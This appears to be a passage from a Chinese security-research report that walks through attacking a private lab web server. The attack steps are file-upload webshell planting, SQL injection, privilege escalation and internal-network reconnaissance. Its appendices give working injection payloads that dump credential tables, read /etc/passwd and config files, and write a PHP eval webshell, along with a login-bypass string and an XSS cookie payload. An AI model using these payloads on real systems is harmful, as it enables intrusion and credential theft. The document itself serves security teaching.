|  |
| --- |
| **基金会logo.jpg**  |
|  |
| **保险行业信息安全风险研究** |
|  |
|  |
| 北京保研公益基金会 |
| 二〇一八年十二月 |



4. 分析上传代码漏洞

程序上传代码存在的问题：

* 未检查上传的文件类型

将上传文件拷贝到upload目录前会：

* 检查图片的长宽进行缩放操作；
* 重命名上传的文件

应对：

上传的文件需要有正常的图片信息，以便代码进行图片缩放操作

确定上传的文件名

方法：copy 1.gif+1.php 2.php

5. 上传特定文件获取webshell

使用caidao连接上传的一句话webshell





6. 通过SQL注入直接webshell

已知站点的物理路径，系统又存在SQL注入漏洞，我们是否可以直接通过SQL注入写入一句话webshell？



失败的原因是什么？权限决定了能力！

##### 4.5.3.4 提升权限

1. 权限决定了你的能力

A. 通过SQL注入点所拥有的权限包括：

* 运行数据库服务的进程（用户）权限决定了系统权限
* 当前数据库用户的权限决定了数据库操作权限

B. 上传的webshell所拥有的权限包括：

* 运行当前web 服务的进程（用户）权限决定了系统权限
* 在webshell命令行中执行whoami查看运行web服务的用户
* C. 至此，我们拥有了如下权限：
* 当前数据库用户为非root用户，仅为普通用户
* 当前web用户为UDN，仅为普通用户，对web目录拥有完全的权限，其他目录权限受限；仅能执行非root命令

2. 如何提升权限

A. 通过web服务进程：

通过本地提权漏洞提升当前web用户权限为root权限

B. 通过其他系统服务：

其他系统服务由于配置错误（如配置为root运行）及该服务的本地提权漏洞提升为root权限

C. 通过合法root用户：

通过其他方法（如内网渗透收集的密码等）获取root用户的密码，通过root登录（或su方法）等提升为root权限

3. 提升权限的过程

提升权限的一般流程如下：

* 确定当前系统的详细版本信息
* 收集当前系统的运行服务的详细信息
* 通过漏洞披露站点收集该版本及相关服务的提权漏洞
* 在测试环境调试漏洞利用代码，然后上传至目标站点，执行利用
* 获取root权限后获取系统用户密码的hash文件，并进行破解
* 同步进行内网的渗透工作，随着成果的扩大，收集的密码的增多，得到合法root密码的可能性非常大（原因：用户的惰性）

##### 4.5.3.5 内网渗透

1. 内网渗透可以做的工作

A. 探测相关联的目标：

* 通过netstat查看相关主机，成为首选的下一步攻击目标
* 使用端口扫描工具（如Fscan）对内网进行C段扫描，探测存活主机及其开放的敏感服务
* 通过历史记录（如cmd，mstsc）的IP等获取相关目标
* 随着渗透的深入，整理上述信息简单描绘目标的网络结构

B. 密码获取：

* 弱口令扫描工具
* 破解密码hash，加入字典，扩大扫描成果
* 局域网嗅探，截获密码

C. 敏感信息收集、维持访问

2. 可能的工具

内网渗透常用的几个工具包括：

* nmap
* Fscan
* scan3,x-scan,WebScanner等弱口令扫描工具
* pstools
* ssh
* Htran,ssh
* pwdump,wce

## 附件1：字段与工具说明

### 1. 包含”user””的表、字段

and%201=2%20union%20select%20group\_concat%28table\_schema,0x3a,table\_name,0x3a,column\_name%29,2,3,4,5,6,7,8,9,10,11,12,13+from+information\_schema.columns+where+column\_name+LIKE+CHAR%2837,%20117,%20115,%20101,%20114,%2037%29

### 2. 包含”pass”的表、字段

and%201=2%20union%20select%20group\_concat%28table\_schema,0x3a,table\_name,0x3a,column\_name%29,2,3,4,5,6,7,8,9,10,11,12,13+from+information\_schema.columns+where+column\_name+LIKE+CHAR%2837,%20112,%2097,%20115,%2037%29

### 3. 表tcic\_account的所有字段

and%201=2%20union%20select%20group\_concat%28column\_name%29,2,3,4,5,6,7,8,9,10,11,12,13+from+information\_schema.columns+where+table\_name=%27tcic\_account%27-

### 4. 查询表tcic\_account的所有用户密码内容

and%201=2%20union%20select%20group\_concat%28account,0x3a,password%29,2,3,4,5,6,7,8,9,10,11,12,13+from+tcic\_account

### 5. 读取/etc/passwd文件

and%201=2%20union%20select%20load\_file%280x2f6574632f706173737764%29,2,3,4,5,6,7,8,9,10,11,12,13

### 6. 读取/local/htdocs/back/publish\_add.php文件

and%201=2%20union%20select%20load\_file%280x2f6c6f63616c2f6874646f63732f6261636b2f7075626c6973685f6164642e706870%29,2,3,4,5,6,7,8,9,10,11,12,13—

### 7. 读取/local/htdocs/config/dbconf.php文件

and%201=2%20union%20select%20load\_file%280x2f6c6f63616c2f6874646f63732f636f6e6669672f6462636f6e662e706870%29,2,3,4,5,6,7,8,9,10,11,12,13--

### 8. 尝试web根目录写入文件

and 1=2 union select char(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,39,115,104,97,99,107,39,93,41,59,63,62),2,3,4,5,6,7,8,9,10,11,12,13 into outfile '/local/htdocs/zm.php‘

### 9. 可能用到的工具

caidao

“一句话”webshell

ascii转换工具

自动化注入工具：sqlmap,pangolin

## 附件2：漏洞说明

### 1. SQL注入漏洞

<http://192.168.203.144/storypage_04.php?id=115>



利用代码：

1. 包含”user”的表、字段

http://192.168.203.144/storypage\_04.php?id=115and%201=2%20union%20select%20group\_concat%28table\_schema,0x3a,table\_name,0x3a,column\_name%29,2,3,4,5,6,7,8,9,10,11,12,13+from+information\_schema.columns+where+column\_name+LIKE+CHAR%2837,%20117,%20115,%20101,%20114,%2037%29

1. 包含”pass”的表、字段

http://192.168.203.144/storypage\_04.php?id=115 and%201=2%20union%20select%20group\_concat%28table\_schema,0x3a,table\_name,0x3a,column\_name%29,2,3,4,5,6,7,8,9,10,11,12,13+from+information\_schema.columns+where+column\_name+LIKE+CHAR%2837,%20112,%2097,%20115,%2037%29

1. 表tcic\_account的所有字段：

http://192.168.203.144/storypage\_04.php?id=115 and%201=2%20union%20select%20group\_concat%28column\_name%29,2,3,4,5,6,7,8,9,10,11,12,13+from+information\_schema.columns+where+table\_name=%27tcic\_account%27

1. 查询表tcic\_account的所有用户密码内容：

http://192.168.203.144/storypage\_04.php?id=115 and%201=2%20union%20select%20group\_concat%28account,0x3a,password%29,2,3,4,5,6,7,8,9,10,11,12,13+from+tcic\_account

1. 读取/etc/passwd文件：

http://192.168.203.144/storypage\_04.php?id=115 and%201=2%20union%20select%20load\_file%280x2f6574632f706173737764%29,2,3,4,5,6,7,8,9,10,11,12,13

1. 读取/local/htdocs/back/publish\_add.php文件：

http://192.168.203.144/storypage\_04.php?id=115 and%201=2%20union%20select%20load\_file%280x2f7661722f7777772f6261636b2f7075626c6973685f6164642e706870%29,2,3,4,5,6,7,8,9,10,11,12,13--

1. 读取/local/htdocs/config/dbconf.php文件:

http://192.168.203.144/storypage\_04.php?id=115 and%201=2%20union%20select%20load\_file%280x2f7661722f7777772f636f6e6669672f6462636f6e662e706870%29,2,3,4,5,6,7,8,9,10,11,12,13--

1. 尝试web根目录写入文件：

http://192.168.203.144/storypage\_04.php?id=115 and 1=2 union select char(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,39,115,104,97,99,107,39,93,41,59,63,62),2,3,4,5,6,7,8,9,10,11,12,13 into outfile '/var/www/zm.php'

### 2. 物理路径暴露漏洞

<http://192.168.203.144/test.php>



### 3. 后台登陆绕过（实际上也是SQL注入）

后台登陆地址：

<http://192.168.203.144/back/>

可输入用户名admin，密码’or’1’=’1登录



### 4. 任意文件上传漏洞

后台管理系统的“首页管理系统”功能中的“新增大图”存在任意文件上传漏洞，可以直接上传PHP文件，但是该上传功能会检测图片格式，所以需要将一句话木马1.php附加在正常的gif图片gif.gif的后面。打开命令提示符cmd，使用cd切换到一句话木马和gif图片所在的目录，使用如下命令即可生成一个可上传的一句话木马one.php：

copy gif.gif+1.php one.php

在后台管理系统的“首页管理系统”中，点击“新增大图”按钮，选择one.php上传，可以上传成功，在列表中找到刚刚上传的那条，点击“编辑”，可以看到刚刚上传的“图片”，在图片上点击右键，可查看该“图片”的链接地址，可以看到是以php为后缀名的，说明一句话木马上传成功，一句话木马的URL形式类似于：

<http://192.168.203.144/back/upload/banner_58.php>

将一句话木马的链接添加到caidao即可得到webshell。





### 5. 跨站脚本执行（XSS）漏洞

后台管理系统的“园区公告管理系统”功能，新增公告，在“首页摘要”字段添加以下内容可验证跨站脚本执行漏洞：

><script>alert(document.cookie)</script>

验证脚本的功能为弹出用户的cookie值。利用此漏洞可获取用户的cookie值，从而获取登录权限。

